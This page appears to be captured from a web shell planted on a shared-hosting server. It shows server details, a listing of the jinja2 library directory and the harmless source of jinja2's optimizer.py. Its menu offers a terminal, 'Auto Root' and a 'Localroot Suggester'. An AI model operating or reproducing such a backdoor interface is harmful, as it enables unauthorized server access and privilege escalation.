Linux ams-business-8.hostwindsdns.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
LiteSpeed
Server IP : 192.236.177.161 & Your IP : 216.73.216.50
Domains :
Cant Read [ /etc/named.conf ]
User : ajzdfbpz
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python2.7 /
site-packages /
jinja2 /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
2.55
KB
-rw-r--r--
2017-11-08 19:58
__init__.pyc
2.82
KB
-rw-r--r--
2024-04-10 04:46
__init__.pyo
2.82
KB
-rw-r--r--
2024-04-10 04:46
_compat.py
2.54
KB
-rw-r--r--
2017-07-07 19:41
_compat.pyc
4.33
KB
-rw-r--r--
2024-04-10 04:46
_compat.pyo
4.33
KB
-rw-r--r--
2024-04-10 04:46
_identifier.py
1.69
KB
-rw-r--r--
2017-07-08 16:20
_identifier.pyc
1.78
KB
-rw-r--r--
2024-04-10 04:46
_identifier.pyo
1.78
KB
-rw-r--r--
2024-04-10 04:46
bccache.py
12.49
KB
-rw-r--r--
2017-07-08 16:20
bccache.pyc
14.15
KB
-rw-r--r--
2024-04-10 04:46
bccache.pyo
14.15
KB
-rw-r--r--
2024-04-10 04:46
compiler.py
63.85
KB
-rw-r--r--
2017-11-01 13:47
compiler.pyc
55.68
KB
-rw-r--r--
2024-04-10 04:46
compiler.pyo
55.62
KB
-rw-r--r--
2024-04-10 04:46
constants.py
1.59
KB
-rw-r--r--
2017-07-07 19:41
constants.pyc
1.65
KB
-rw-r--r--
2024-04-10 04:46
constants.pyo
1.65
KB
-rw-r--r--
2024-04-10 04:46
debug.py
11.76
KB
-rw-r--r--
2017-10-31 20:10
debug.pyc
11.13
KB
-rw-r--r--
2024-04-10 04:46
debug.pyo
11.06
KB
-rw-r--r--
2024-04-10 04:46
defaults.py
1.37
KB
-rw-r--r--
2017-07-08 16:20
defaults.pyc
1.78
KB
-rw-r--r--
2024-04-10 04:46
defaults.pyo
1.78
KB
-rw-r--r--
2024-04-10 04:46
environment.py
49.66
KB
-rw-r--r--
2017-10-31 20:46
environment.pyc
48.23
KB
-rw-r--r--
2024-04-10 04:46
environment.pyo
47.82
KB
-rw-r--r--
2024-04-10 04:46
exceptions.py
4.32
KB
-rw-r--r--
2017-07-07 19:41
exceptions.pyc
6.11
KB
-rw-r--r--
2024-04-10 04:46
exceptions.pyo
6.11
KB
-rw-r--r--
2024-04-10 04:46
ext.py
23.93
KB
-rw-r--r--
2017-07-08 16:20
ext.pyc
22.83
KB
-rw-r--r--
2024-04-10 04:46
ext.pyo
22.76
KB
-rw-r--r--
2024-04-10 04:46
filters.py
35.94
KB
-rw-r--r--
2024-04-10 04:46
filters.pyc
39.28
KB
-rw-r--r--
2024-04-10 04:46
filters.pyo
39.12
KB
-rw-r--r--
2024-04-10 04:46
idtracking.py
8.98
KB
-rw-r--r--
2017-10-31 20:10
idtracking.pyc
12.21
KB
-rw-r--r--
2024-04-10 04:46
idtracking.pyo
12.16
KB
-rw-r--r--
2024-04-10 04:46
lexer.py
27.89
KB
-rw-r--r--
2017-10-31 20:10
lexer.pyc
22.3
KB
-rw-r--r--
2024-04-10 04:46
lexer.pyo
22.15
KB
-rw-r--r--
2024-04-10 04:46
loaders.py
16.97
KB
-rw-r--r--
2017-07-07 19:41
loaders.pyc
18.79
KB
-rw-r--r--
2024-04-10 04:46
loaders.pyo
18.79
KB
-rw-r--r--
2024-04-10 04:46
meta.py
4.24
KB
-rw-r--r--
2017-07-07 19:41
meta.pyc
4.06
KB
-rw-r--r--
2024-04-10 04:46
meta.pyo
4.06
KB
-rw-r--r--
2024-04-10 04:46
nativetypes.py
7.14
KB
-rw-r--r--
2017-10-31 20:46
nativetypes.pyc
5.98
KB
-rw-r--r--
2024-04-10 04:46
nativetypes.pyo
5.98
KB
-rw-r--r--
2024-04-10 04:46
nodes.py
30.13
KB
-rw-r--r--
2017-11-01 13:47
nodes.pyc
43.52
KB
-rw-r--r--
2024-04-10 04:46
nodes.pyo
43.04
KB
-rw-r--r--
2024-04-10 04:46
optimizer.py
1.68
KB
-rw-r--r--
2017-11-08 19:47
optimizer.pyc
2.32
KB
-rw-r--r--
2024-04-10 04:46
optimizer.pyo
2.32
KB
-rw-r--r--
2024-04-10 04:46
parser.py
35.03
KB
-rw-r--r--
2017-11-01 13:47
parser.pyc
30.84
KB
-rw-r--r--
2024-04-10 04:46
parser.pyo
30.84
KB
-rw-r--r--
2024-04-10 04:46
runtime.py
27.1
KB
-rw-r--r--
2017-10-31 20:10
runtime.pyc
29.34
KB
-rw-r--r--
2024-04-10 04:46
runtime.pyo
29.3
KB
-rw-r--r--
2024-04-10 04:46
sandbox.py
16.32
KB
-rw-r--r--
2017-07-08 16:20
sandbox.pyc
16
KB
-rw-r--r--
2024-04-10 04:46
sandbox.pyo
16
KB
-rw-r--r--
2024-04-10 04:46
tests.py
4.14
KB
-rw-r--r--
2017-10-31 20:10
tests.pyc
5.62
KB
-rw-r--r--
2024-04-10 04:46
tests.pyo
5.62
KB
-rw-r--r--
2024-04-10 04:46
utils.py
20.29
KB
-rw-r--r--
2024-04-10 04:46
utils.pyc
24.02
KB
-rw-r--r--
2024-04-10 04:46
utils.pyo
24.02
KB
-rw-r--r--
2024-04-10 04:46
visitor.py
3.24
KB
-rw-r--r--
2017-07-07 19:41
visitor.pyc
3.72
KB
-rw-r--r--
2024-04-10 04:46
visitor.pyo
3.72
KB
-rw-r--r--
2024-04-10 04:46
Save
Rename
# -*- coding: utf-8 -*- """ jinja2.optimizer ~~~~~~~~~~~~~~~~ The jinja optimizer is currently trying to constant fold a few expressions and modify the AST in place so that it should be easier to evaluate it. Because the AST does not contain all the scoping information and the compiler has to find that out, we cannot do all the optimizations we want. For example loop unrolling doesn't work because unrolled loops would have a different scoping. The solution would be a second syntax tree that has the scoping rules stored. :copyright: (c) 2017 by the Jinja Team. :license: BSD. """ from jinja2 import nodes from jinja2.visitor import NodeTransformer def optimize(node, environment): """The context hint can be used to perform an static optimization based on the context given.""" optimizer = Optimizer(environment) return optimizer.visit(node) class Optimizer(NodeTransformer): def __init__(self, environment): self.environment = environment def fold(self, node, eval_ctx=None): """Do constant folding.""" node = self.generic_visit(node) try: return nodes.Const.from_untrusted(node.as_const(eval_ctx), lineno=node.lineno, environment=self.environment) except nodes.Impossible: return node visit_Add = visit_Sub = visit_Mul = visit_Div = visit_FloorDiv = \ visit_Pow = visit_Mod = visit_And = visit_Or = visit_Pos = visit_Neg = \ visit_Not = visit_Compare = visit_Getitem = visit_Getattr = visit_Call = \ visit_Filter = visit_Test = visit_CondExpr = fold del fold